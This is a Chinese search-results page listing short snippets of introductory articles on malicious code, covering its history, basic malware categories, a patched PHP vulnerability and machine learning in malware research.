  • 本篇文章,作者将分享两篇论文,机器学习是如何运用到恶意代码攻击中的,并谈谈自己的理解,后续深入研究尝试分享相关实验,目前还是小白一只。基础性文章,希望对初学者有帮助,大神请飘过,谢谢各位看官!
  • 恶意代码的发展历程

    2021-06-02 13:08:06
    尽管最近发生了越来越多的恶意代码安全事件,但是恶意代码并不是新生事物。近年来,攻击者一直在努力研究攻击能力和生存能力更强的恶意代码。下面我们列举了近三十年来恶意代码发展史上的里程碑事件: ...
  • 据《网络世界》报道 据PHP组织说,运行PHP的服务器容易受到多种恶意程序攻击,包括允许攻击者执行恶意代码和DoS攻击。 PHP组织发布了修复这些漏洞的升级版本,可以从PHP网站下载或直接从各操作系统厂商获得。PHP...
  • 恶意代码简介

    2013-04-08 15:16:00
    恶意代码(malware)指的是使计算机按照攻击者的意图执行以达到恶意目标的指令集。恶意代码主要包括:计算机病毒、蠕虫、恶意移动代码、后门、特洛伊木马、僵尸网络和内核套件等。 计算机病毒:是一种能够自我...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,041
精华内容 2,416
关键字:

恶意代码攻击